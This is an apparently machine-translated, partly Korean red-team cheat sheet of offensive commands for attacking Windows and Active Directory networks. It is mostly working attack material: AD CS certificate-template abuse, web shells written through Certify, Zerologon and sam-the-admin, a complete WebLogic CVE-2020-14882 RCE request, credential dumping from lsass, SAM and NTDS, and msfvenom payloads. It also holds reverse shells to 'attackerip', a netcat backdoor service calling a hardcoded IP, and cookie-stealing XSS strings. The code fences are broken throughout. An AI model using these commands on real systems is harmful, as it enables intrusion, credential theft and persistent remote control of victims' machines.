또는```bash
bash$ responder-RunFinger

## Crackmapexec v 4.0

SMB 정보를 기반으로 네트워크 범위를 스캔합니다.```bash
bash$ cme smb 192.168.1.1/24

집중 스캔 (참고: 권장됨):```bash
bash$ nmap -p 1-65535 -Pn -A -oA output target_IP 

## Angry IP scanner

Download the tool from this link : 
[Angry IP Scanner](http://angryip.org/download/#linux) 
* Change the preferences settings 
> Go to : Preferences -> Ports -> add 80,445,554,21 ,22 in the port selection <br>
> Go to : Preferences -> Display -> select Alive Hosts <br>
> Go to : Preferences -> Pinging -> select Combained (UDP/TCP)

# Lateral Movement and Exploitation

### Active Directory Certificate Services
This part was copied from https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#esc1---misconfigured-certificate-templates 
<br>For more details check : https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation

(Tested on private environment (Bloodhound then ESC1 exploit) 
* Find ADCS Server
  * `crackmapexec ldap domain.lab -u username -p password -M adcs`
  * `ldapsearch -H ldap://dc_IP -x -LLL -D 'CN=<user>,OU=Users,DC=domain,DC=local' -w '<password>' -b "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=CONFIGURATION,DC=domain,DC=local" dNSHostName`
* Enumerate AD Enterprise CAs with certutil: `certutil.exe -config - -ping`, `certutil -dump`

#### ESC1 - Misconfigured Certificate Templates

> Domain Users can enroll in the **VulnTemplate** template, which can be used for client authentication and has **ENROLLEE_SUPPLIES_SUBJECT** set. This allows anyone to enroll in this template and specify an arbitrary Subject Alternative Name (i.e. as a DA). Allows additional identities to be bound to a certificate beyond the Subject.

Requirements:
*  Template that allows for AD authentication
* **ENROLLEE_SUPPLIES_SUBJECT** flag
* [PKINIT] Client Authentication, Smart Card Logon, Any Purpose, or No EKU (Extended/Enhanced Key Usage) 

Exploitation:
* Use [Certify.exe](https://github.com/GhostPack/Certify) to see if there are any vulnerable templates
    ```ps1
    Certify.exe find /vulnerable
    Certify.exe find /vulnerable /currentuser
    # or
    PS> Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=lab,DC=local'
    # or
    certipy 'domain.local'/'user':'password'@'domaincontroller' find -bloodhound
    ```
* Use Certify, [Certi](https://github.com/eloypgz/certi) or [Certipy](https://github.com/ly4k/Certipy) to request a Certificate and add an alternative name (user to impersonate)
    ```ps1
    # request certificates for the machine account by executing Certify with the "/machine" argument from an elevated command prompt.
    Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:VulnTemplate /altname:domadmin
    certi.py req 'contoso.local/[email protected]' contoso-DC01-CA -k -n --alt-name han --template UserSAN
    certipy req 'corp.local/john:[email protected]' -ca 'corp-CA' -template 'ESC1' -alt '[email protected]'
    ```
* Use OpenSSL and convert the certificate, do not enter a password
    ```ps1
    openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
    ```
* Move the cert.pfx to the target machine filesystem and request a TGT for the altname user using Rubeus
    ```ps1
    Rubeus.exe asktgt /user:domadmin /certificate:C:\Temp\cert.pfx
    ```

**WARNING**: These certificates will still be usable even if the user or computer resets their password!

**NOTE**: Look for **EDITF_ATTRIBUTESUBJECTALTNAME2**, **CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT**, **ManageCA** flags, and NTLM Relay to AD CS HTTP Endpoints.


#### ESC2 - Misconfigured Certificate Templates

Requirements:
*  Allows requesters to specify a Subject Alternative Name (SAN) in the CSR as well as allows Any Purpose EKU (2.5.29.37.0)

Exploitation:
* Find template  ```ps1
  PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local'

#### ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2 

> 이 플래그가 CA에 설정되면, 모든 요청(Active Directory에서 주체가 생성되는 경우 포함)은 주체 대체 이름에 사용자 정의 값을 가질 수 있습니다.

악용:
* [Certify.exe](https://github.com/GhostPack/Certify)를 사용하여 **UserSpecifiedSAN** 플래그 상태를 확인하세요. 이는 `EDITF_ATTRIBUTESUBJECTALTNAME2` 플래그를 나타냅니다.
    ```ps1
    Certify.exe cas
    ```
* 기본 `User` 템플릿이 일반적으로 대체 이름 지정을 허용하지 않더라도, 템플릿에 대한 인증서를 요청하고 altname을 추가합니다.
    ```ps1
    .\Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:User /altname:DomAdmin
    ```

완화 조치:
* 플래그 제거: `certutil.exe -config "CA01.domain.local\CA01" -setreg "policy\EditFlags" -EDITF_ATTRIBUTESUBJECTALTNAME2`


#### ESC7 - 취약한 인증 기관 액세스 제어

악용:
* 낮은 권한의 사용자에게 `ManageCA` 또는 `Manage Certificates` 권한을 부여하는 CA를 탐지합니다.
    ```ps1
    Certify.exe find /vulnerable
    ```
* 취약한 CA 아래의 모든 템플릿에 대해 SAN 확장을 활성화하도록 CA 설정을 변경합니다 (ESC6).
    ```ps1
    Certify.exe setconfig /enablesan /restart
    ```
* 원하는 SAN으로 인증서를 요청합니다.
    ```ps1
    Certify.exe request /template:User /altname:super.adm
    ```
* 필요한 경우 승인을 부여하거나 승인 요구 사항을 비활성화합니다.
    ```ps1
    # 승인 부여
    Certify.exe issue /id:[REQUEST ID]
    # 승인 비활성화
    Certify.exe setconfig /removeapproval /restart
    ```

**ManageCA**에서 ADCS 서버의 **RCE**로의 대체 악용:```ps1
# Get the current CDP list. Useful to find remote writable shares:
Certify.exe writefile /ca:SERVER\ca-name /readonly

# Write an aspx shell to a local web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:C:\Windows\SystemData\CES\CA-Name\shell.aspx /input:C:\Local\Path\shell.aspx

# Write the default asp shell to a local web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:c:\inetpub\wwwroot\shell.asp

# Write a php shell to a remote web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:\\remote.server\share\shell.php /input:C:\Local\path\shell.php

참고: `STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT`가 있습니다.

### 비밀번호 변경
다음 중 하나를 사용할 수 있습니다:
- https://github.com/fortra/impacket/blob/master/examples/changepasswd.py
- https://github.com/api0cradle/impacket/blob/a1d0cc99ff1bd4425eddc1b28add1f269ff230a6/examples/rpcchangepwd.py```bash
python3 rpcchangepwd.py <domain>/<computer account>\$:<password>@<IP> -newpass P@ssw0rd                           31s
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Password was changed successfully.

**- 참조 : https://www.trustedsec.com/blog/diving-into-pre-created-computer-accounts/**

---

### CVE-2021-42278 및 CVE-2021-42287 악용
epxloit 스크립트를 다운로드하십시오 https://github.com/WazeHell/sam-the-admin```bash
bash$ python3 sam_the_admin.py "<domain_name>/<username>:<password>" -dc-ip <DC_IP>

대상이 취약한 경우 스캐너는 다음과 같은 출력을 보여줍니다:
<img src="https://raw.githubusercontent.com/ihebski/A-Red-Teamer-diaries/master/zerologon/scanner.png" alt="zerologon scanner">
### Zerologon 악용
- 이 익스플로잇은 도메인 관리자 비밀번호를 재설정할 수 있습니다. 대신 zer0dump 익스플로잇을 사용할 수 있습니다. https://github.com/bb00/zer0dump
- 관리자 비밀번호 덤프 (대상이 단일 사용자인 경우 사용자 이름 변경)

<img src="https://raw.githubusercontent.com/ihebski/A-Red-Teamer-diaries/master/zerologon/dump-Administrator-Password.png" alt="dump NTLM" >

패스더해시를 통한 RCE 획득
<img src="https://raw.githubusercontent.com/ihebski/A-Red-Teamer-diaries/master/zerologon/get_RCE_psexec.png" alt="RCE">

> 제공된 스크린샷은 POC 테스트 전용으로 사용된 개인 실험실과 관련된 것입니다. 프로덕션 환경의 DC에서 익스플로잇을 실행할 때 주의하십시오(엔게이지먼트 중).

## BIGIP F5 CVE-2020-5902
대상이 취약한지 확인```bash
curl -sk 'https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'

여러 호스트가 지정된 경우 -l 인수를 사용하세요 -> -l bigip-assets.txt
* Nmap```bash
wget https://raw.githubusercontent.com/RootUp/PersonalStuff/master/http-vuln-cve2020-5902.nse
nmap -p443 {IP} --script=http-vuln-cve2020-5902.nse

이 모듈은 때때로 실패하므로, -proxy-url http://127.0.0.1:8080을 사용하여 트래픽을 Burpsuite로 리디렉션하고 조사하십시오.
## Weblogic CVE-2020-14882 악용 - RCE```bash
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: 172.16.242.134:7001
cmd: chcp 65001&&whoami&&ipconfig
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 1258

_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();
weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
String cmd = req.getHeader("cmd");
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
if (cmd != null) {
    String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
    weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);
    res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
    res.getServletOutputStream().flush();
    res.getWriter().write("");
}executeThread.interrupt();
");

대상이 취약한 경우 출력은 다음과 같습니다.

스크립트 출력<br>호스트 스크립트 결과:```bash
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/

## Mimikatz - Metasploit

meterpreter 셸을 획득한 후, Mimikatz가 제대로 작동하려면 세션이 **SYSTEM 수준 권한**으로 실행 중인지 확인해야 합니다.```bash
meterpreter > getuid
Server username: WINXP-E95CE571A1\Administrator

meterpreter > getsystem
...got system (via technique 1).

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

## Linux에서의 Mimikatz
VM을 사용할 수 없는 경우
### 1단계```bash
winetricks msasn1

# Windows의 권한 상승

### JuicyPotato```bash
JuicyPotato.exe -l <PORT> -p c:\windows\system32\cmd.exe -t * 

### Windows UAC 보호 우회 권한 상승```bash
msf > use exploit/windows/local/bypassuac
msf exploit(bypassuac) > set session 1
msf exploit(bypassuac) > exploit

### Windows 권한 상승 UAC 보호 우회 (스크립트 호스트 취약점)```bash
msf > use windows/local/bypassuac_vbs
msf exploit(bypassuac_vbs) > set session 1
msf exploit(bypassuac_vbs) > exploit

### MS16-032 Secondary Logon Handle Privilege Escalation  Windows 7 32 bit```bash
msf > use windows/local/ms16_032_secondary_logon_handle_privesc
msf exploit(ms16_032_secondary_logon_handle_privesc) > set session 1
msf exploit(ms16_032_secondary_logon_handle_privesc) > exploit

## Crackmapexec V4.0

대상 열거```
bash$ cme smb <target> 

Access to machine using the NTLM hash (if u see PWN3D the user hash administrator priveleges )```
bash$ cme smb <target> -u username -H hash

활성 세션 열거```
bash$ cme smb <target> -u username -p password --sessions

지정된 명령을 실행하세요.```
bash$ cme smb <target> -u username -p password -x 'whoami'

해시 가져오기```
bash$ cme smb <target> -u username -p password --sam

### null/게스트 인증 테스트 및 공유 목록 나열```bash
crackmapexec smb targets.txt -u '' -p '' --shares

 nmap -sn -T4 -oG discovery.gnmap 192.168.0.1/24
 grep "Status: Up" discovery.gnmap | cut -f 2 -d ' ' > liveHosts.txt

 nmap -sS -T4 -Pn -p 1-65535 -oG portdiscovery.gnmap -iL liveHosts.txt
 grep "Ports:" portdiscovery.gnmap | cut -f 2 -d ' ' | sort -u > openPorts.txt

 nmap -sS -T4 -Pn -p 21,22,23,25,53,80,110,111,135,139,143,389,443,445,465,587,636,993,995,1433,1521,2049,3389,5432,5900,6379,8080,8443,9200,27017 -A -oA serviceenum -open -iL liveHosts.txt```bash

### ldap을 사용하여 사용자 열거```bash
crackmapexec ldap <domain> -u '' -p '' --users

### Asreproast```bash
crackmapexec ldap <domain> -u <username> -p "" --asreproast asrep.txt

### 그룹 정책 기본 설정
- https://www.thehacker.recipes/ad/movement/credentials/dumping/group-policies-preferences```bash
crackmapexec smb <domain> -u <username> -p <password> -M gpp_password

### 패스워드 스프레이```bash
crackmapexec ldap <domain> -u users.txt -p <password> --continue-on-success

### STATUS_NOT_SUPPORTED: NTLM 프로토콜이 지원되지 않음
이 경우 Kerberos 프로토콜을 사용하여 인증하는 `-k` 옵션을 사용할 수 있습니다.```bash
crackmapexec smb targets.txt -u <username> -p <password> -k

### Spider_plus 모듈
`spider_plus` 모듈은 읽을 수 있는 모든 공유에서 모든 파일을 나열하고 덤프할 수 있습니다.
#### 모든 읽을 수 있는 파일 나열```bash
crackmapexec smb <domain> -u <username> -p <password> -k -M spider_plus

#### 특정 파일 덤프```bash
crackmapexec smb <domain> -u <username> -p <password> -k --get-file <target_file> <output_file> --share <sharename>

#### `xp_cmdshell`을 사용하여 명령 실행
- `-X`는 PowerShell, `-x`는 cmd```bash
crackmapexec mssql <domain> -u <username> -p <password> -X <command_to_execute>

### 로컬 관리자 인증```bash
crackmapexec smb <domain> -u <username> -p <password> --local-auth

### gmsa 계정 이름 복구
- https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent
gmsa 계정 이름을 복구하는 두 가지 방법이 있습니다:
- `--gmsa-convert-id` 옵션 사용:```bash
crackmapexec ldap <domain> -u <username> -p <password> --gmsa-convert-id <id>

### LAPS 비밀번호 덤프```bash
crackmapexec smb targets.txt -u <username> -p <password> --laps

### NTDS.dit 덤프```bash
crackmapexec smb <domain> -u <username> -p <password> --ntds

Empire의 RESTful API 서버를 시작하세요:```
#~ python empire --rest --user empireadmin --pass Password123!

[*] Loading modules from: /home/byt3bl33d3r/Tools/Empire/lib/modules/
 * Starting Empire RESTful API on port: 1337
 * RESTful API token: l5l051eqiqe70c75dis68qjheg7b19di7n8auzml
 * Running on https://0.0.0.0:1337/ (Press CTRL+C to quit)

그런 다음 empire_exec 모듈을 실행하고 리스너 이름을 지정하십시오:```
#~ crackmapexec 192.168.10.0/24 -u username -p password -M empire_exec -o LISTENER=test

그런 다음 metinject 모듈을 실행하고 LHOST 및 LPORT 값을 지정하십시오:```
#~ crackmapexec 192.168.10.0/24 -u username -p password -M metinject -o LHOST=192.168.1

에이전트를 Metasploit으로 보내도록 Empire 설정```
use module code_execution/shellcode_inject
set Host <ip>
set Port <port>
execute

그런 다음 DeathStar를 가져와 설정하고 실행하세요:```
git clone https://github.com/byt3bl33d3r/DeathStar
# Death Star is written in Python3
pip3 install -r requirements.txt
./DeathStar.py

## 사용자를 관리자로 추가```
net localgroup administrators [username] /add

# PTH_winexe : psexec 없이 셸 열기
예제 :<br>```
pth-winexe -U DOMAIN/USERNAME%cc5e9acbad1b25c9aad3b435b51404ee:996e6760cddd8815a2c24a110cf040fb //IP_Server cmd.exe

# PTH-winexe to Meterpreter```
msf exploit(web_delivery) > use exploit/multi/script/web_delivery 
msf exploit(web_delivery) > set target 2
target => 2         
msf exploit(web_delivery) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(web_delivery) > set L
set LHOST         set LISTENERCOMM  set LOGLEVEL      set LPORT         
msf exploit(web_delivery) > set LHOST 127.0.0.1
LHOST => 127.0.0.1
msf exploit(web_delivery) > set LPORT 1233
LPORT => 1233
msf exploit(web_delivery) > exploit 
[*] Exploit running as background job 0.

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:1233 
[*] Using URL: http://0.0.0.0:8080/gOAr7kQOTh
msf exploit(web_delivery) > [*] Local IP: http://10.2.15.194:8080/gOAr7kQOTh
[*] Server started.
[*] Run the following command on the target machine:
powershell.exe -nop -w hidden -c $j=new-object net.webclient;$j.proxy=[Net.WebRequest]::GetSystemWebProxy();$j.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $j.downloadstring('http://127.0.0.1:8080/gOAr7kQOTh');

## BloodHound```
powershell-import /path/to/BloodHound.ps1
powershell Get-BloodHoundData | Export-BloodHoundCSV

# Kiwi 자격 증명 수집```
meterpreter > load kiwi
meterpreter > cred_all

### Dirb 디렉토리 무차별 대입```
dirb http://IP:PORT /usr/share/dirb/wordlists/common.txt

### WordPress 스캐너```
git clone https://github.com/wpscanteam/wpscan.git && cd wpscan
./wpscan –url http://IP/ –enumerate p

### WordPress Scanner```
git clone https://github.com/wpscanteam/wpscan.git && cd wpscan
./wpscan –url http://IP/ –enumerate p

### Nmap 포트 스캔```
1)decoy- masqurade nmap -D RND:10 [target] (Generates a random number of decoys)
1)decoy- masqurade nmap -D RND:10 [target] (Generates a random number of decoys)
2)fargement
3)data packed – like orginal one not scan packet
4)use auxiliary/scanner/ip/ipidseq for find zombie ip in network to use them to scan — nmap -sI ip target
5)nmap –source-port 53 target
nmap -sS -sV -D IP1,IP2,IP3,IP4,IP5 -f –mtu=24 –data-length=1337 -T2 target ( Randomize scan form diff IP)
nmap -Pn -T2 -sV –randomize-hosts IP1,IP2
nmap –script smb-check-vulns.nse -p445 target (using NSE scripts)
nmap -sU -P0 -T Aggressive -p123 target (Aggresive Scan T1-T5)
nmap -sA -PN -sN target
nmap -sS -sV -T5 -F -A -O target (version detection)
nmap -sU -v target (Udp)
nmap -sU -P0 (Udp)
nmap -sC 192.168.31.10-12 (all scan default)

### Unicornscan```
us -H -msf -Iv 192.168.56.101 -p 1-65535
us -H -mU -Iv 192.168.56.101 -p 1-65535

-H resolve hostnames during the reporting phase
-m scan mode (sf - tcp, U - udp)
-Iv - verbose

### Samba 열거```
nmblookup -A target
smbclient //MOUNT/share -I target -N
rpcclient -U "" target
enum4linux target

### Windows 유용한 명령어```
net localgroup Users
net localgroup Administrators
search dir/s *.doc
system("start cmd.exe /k $cmd")
sc create microsoft_update binpath="cmd /K start c:\nc.exe -d ip-of-hacker port -e cmd.exe" start= auto error= ignore
/c C:\nc.exe -e c:\windows\system32\cmd.exe -vv 23.92.17.103 7779
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
Procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords"
C:\temp\procdump.exe -accepteula -ma lsass.exe lsass.dmp For 32 bits
C:\temp\procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp For 64 bits

### Meterpreter portfwd```
# https://www.offensive-security.com/metasploit-unleashed/portfwd/
# forward remote port to local address
meterpreter > portfwd add –l 3389 –p 3389 –r 172.16.194.141
kali > rdesktop 127.0.0.1:3389

### Windows 방화벽 끄기```
netsh firewall set opmode disable

### Mimikatz 사용```
net user test 1234 /add
net localgroup administrators test /add

### Hashcat 비밀번호 크래킹```
hashcat -m 400 -a 0 hash /root/rockyou.txt

### NC를 사용한 배너 그래빙```
nc 192.168.0.10 80
GET / HTTP/1.1
Host: 192.168.0.10
User-Agent: Mozilla/4.0
Referrer: www.example.com
<enter>
<enter>

### SUID\SGID 루트 파일 찾기```
# Find SUID root files
find / -user root -perm -4000 -print

# Find SGID root files:
find / -group root -perm -2000 -print

# Find SUID and SGID files owned by anyone:
find / -perm -4000 -o -perm -2000 -print

# Find files that are not owned by any user:
find / -nouser -print

# Find files that are not owned by any group:
find / -nogroup -print

# Find symlinks and what they point to:
find / -type l -ls

### Python\Ruby\PHP HTTP 서버```
python2 -m SimpleHTTPServer
python3 -m http.server
ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 8888, :DocumentRoot => Dir.pwd).start"
php -S 0.0.0.0:8888

### Hydra rdp 무차별 대입```
hydra -l admin -P /root/Desktop/passwords -S X.X.X.X rdp

### Kali에서 익스플로잇 컴파일하기```
gcc -m32 -o output32 hello.c (32 bit)
gcc -m64 -o output hello.c (64 bit)

### 윈도우 리버스 셸```
wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download
wine mingw-get-setup.exe
select mingw32-base
cd /root/.wine/drive_c/windows
wget http://gojhonny.com/misc/mingw_bin.zip && unzip mingw_bin.zip
cd /root/.wine/drive_c/MinGW/bin
wine gcc -o ability.exe /tmp/exploit.c -lwsock32
wine ability.exe

### SSH 피보팅```
ssh -D 127.0.0.1:1080 -p 22 user@IP
Add socks4 127.0.0.1 1080 in /etc/proxychains.conf
proxychains commands target

### metasploit을 이용한 피보팅```
route add X.X.X.X 255.255.255.0 1
use auxiliary/server/socks4a
run
proxychains msfcli windows/* PAYLOAD=windows/meterpreter/reverse_tcp LHOST=IP LPORT=443 RHOST=IP E

or

# https://www.offensive-security.com/metasploit-unleashed/pivoting/
meterpreter > ipconfig
IP Address  : 10.1.13.3
meterpreter > run autoroute -s 10.1.13.0/24
meterpreter > run autoroute -p
10.1.13.0          255.255.255.0      Session 1
meterpreter > Ctrl+Z
msf auxiliary(tcp) > use exploit/windows/smb/psexec
msf exploit(psexec) > set RHOST 10.1.13.2
msf exploit(psexec) > exploit
meterpreter > ipconfig
IP Address  : 10.1.13.2

### MSF 페이로드```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> X > system.exe
msfvenom -p php/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 R > exploit.php
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e -a x86 --platform win -f asp -o file.asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e x86/shikata_ga_nai -b "\x00" -a x86 --platform win -f c

### MSF Reverse Shell (C Shellcode)```
msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=443 -b "\x00\x0a\x0d" -a x86 --platform win -f c

### MSF Reverse ASP Shell```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp -a x86 --platform win -o shell.asp

### MSF 리버스 PHP 셸```
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.php
add <?php at the beginning
perl -i~ -0777pe's/^/<?php \n/' shell.php

### Linux 보안 명령어```
# find programs with a set uid bit
find / -uid 0 -perm -4000

# find things that are world writable
find / -perm -o=w

# find names with dots and spaces, there shouldn’t be any
find / -name " " -print
find / -name ".." -print
find / -name ". " -print
find / -name " " -print

# find files that are not owned by anyone
find / -nouser

# look for files that are unlinked
lsof +L1

# get information about procceses with open ports
lsof -i

# look for weird things in arp
arp -a

# look at all accounts including AD
getent passwd

# look at all groups and membership including AD
getent group

# list crontabs for all users including AD
for user in $(getent passwd|cut -f1 -d:); do echo "### Crontabs for $user ####"; crontab -u $user -l; done

# generate random passwords
cat /dev/urandom| tr -dc ‘a-zA-Z0-9-_!@#$%^&*()_+{}|:<>?=’|fold -w 12| head -n 4

# find all immutable files, there should not be any
find . | xargs -I file lsattr -a file 2>/dev/null | grep ‘^….i’

# fix immutable files
chattr -i file

### SEH - 구조적 예외 처리```
# https://en.wikipedia.org/wiki/Microsoft-specific_exception_handling_mechanisms#SEH
!mona suggest
!mona nosafeseh
nseh="\xeb\x06\x90\x90" (next seh chain)
iseh= !pvefindaddr p1 -n -o -i (POP POP RETRUN or POPr32,POPr32,RETN)

### ASLR - 주소 공간 배치 무작위화```
# https://en.wikipedia.org/wiki/Address_space_layout_randomization
!mona noaslr

### GDB 디버거 명령어```
# Setting Breakpoint
break *_start

# Execute Next Instruction
next
step
n
s

# Continue Execution
continue
c

# Data
checking 'REGISTERS' and 'MEMORY'

# Display Register Values: (Decimal,Binary,Hex)
print /d –> Decimal
print /t –> Binary
print /x –> Hex
O/P :
(gdb) print /d $eax
$17 = 13
(gdb) print /t $eax
$18 = 1101
(gdb) print /x $eax
$19 = 0xd
(gdb)

# Display values of specific memory locations
command : x/nyz (Examine)
n –> Number of fields to display ==>
y –> Format for output ==> c (character) , d (decimal) , x (Hexadecimal)
z –> Size of field to be displayed ==> b (byte) , h (halfword), w (word 32 Bit)

### PERL 리버스 셸```
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

# for win platform
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’

### PYTHON 리버스 셸```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attackerip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

### JAVA Reverse Shell```
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/attackerip/443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

### TELNET 리버스 셸```
# If netcat is not available or /dev/tcp
mknod backpipe p && telnet attackerip 443 0<backpipe | /bin/bash 1>backpipe

### XSS 치트 코드```
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
("< iframes > src=http://IP:PORT </ iframes >")

<script>document.location=http://IP:PORT</script>

';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//–></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

";!–"<XSS>=&amp;amp;{()}

<IMG src="javascript:alert("XSS');">

<SCRIPT>alert("XSS")</SCRIPT>"">



<IMG src="https://raw.githubusercontent.com/ihebski/a-red-teamer-diaries/master/jav%20ascript:alert("XSS');">

perl -e 'print "";' > out

<BODY onload!#$%&amp;()*~+-_.,:;?@[/|\]^`=alert("XSS")>

(">< iframes http://google.com < iframes >)

<BODY BACKGROUND="javascript:alert('XSS')">
<FRAMESET><FRAME SRC=”javascript:alert('XSS');"></FRAMESET>
"><script >alert(document.cookie)</script>
%253cscript%253ealert(document.cookie)%253c/script%253e
"><s"%2b"cript>alert(document.cookie)</script>
%22/%3E%3CBODY%20onload=’document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/xss.js%3E%3C/script%3E%22)'%3E

### Kali 2.0에 Metasploit Community Edition 설치하기```
# github urls
https://github.com/rapid7/metasploit-framework/wiki/Downloads-by-Version

wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run && chmod
+x metasploit-latest-linux-x64-installer.run && ./metasploit-latest-linux-x64-installer.run

# create user
$ /opt/metasploit/createuser
[*] Please enter a username: root
[*] Creating user 'root' with password 'LsRRV[I^5' ...

# activate your metasploit license
https://localhost:3790

# update metasploite
$ /opt/metasploit/app/msfupdate

# use msfconsole
$ /opt/metasploit/app/msfconsole

### fierce를 사용한 DNS 무차별 대입```
# http://ha.ckers.org/fierce/
$ ./fierce.pl -dns example.com
$ ./fierce.pl –dns example.com –wordlist myWordList.txt

### 최고의 NMAP 스캔 전략```
# A best nmap scan strategy for networks of all sizes

# Host Discovery - Generate Live Hosts List
$ nmap -sn -T4 -oG Discovery.gnmap 192.168.56.0/24
$ grep "Status: Up" Discovery.gnmap | cut -f 2 -d ' ' > LiveHosts.txt

# Port Discovery - Most Common Ports
# http://nmap.org/presentations/BHDC08/bhdc08-slides-fyodor.pdf
$ nmap -sS -T4 -Pn -oG TopTCP -iL LiveHosts.txt
$ nmap -sU -T4 -Pn -oN TopUDP -iL LiveHosts.txt
$ nmap -sS -T4 -Pn --top-ports 3674 -oG 3674 -iL LiveHosts.txt
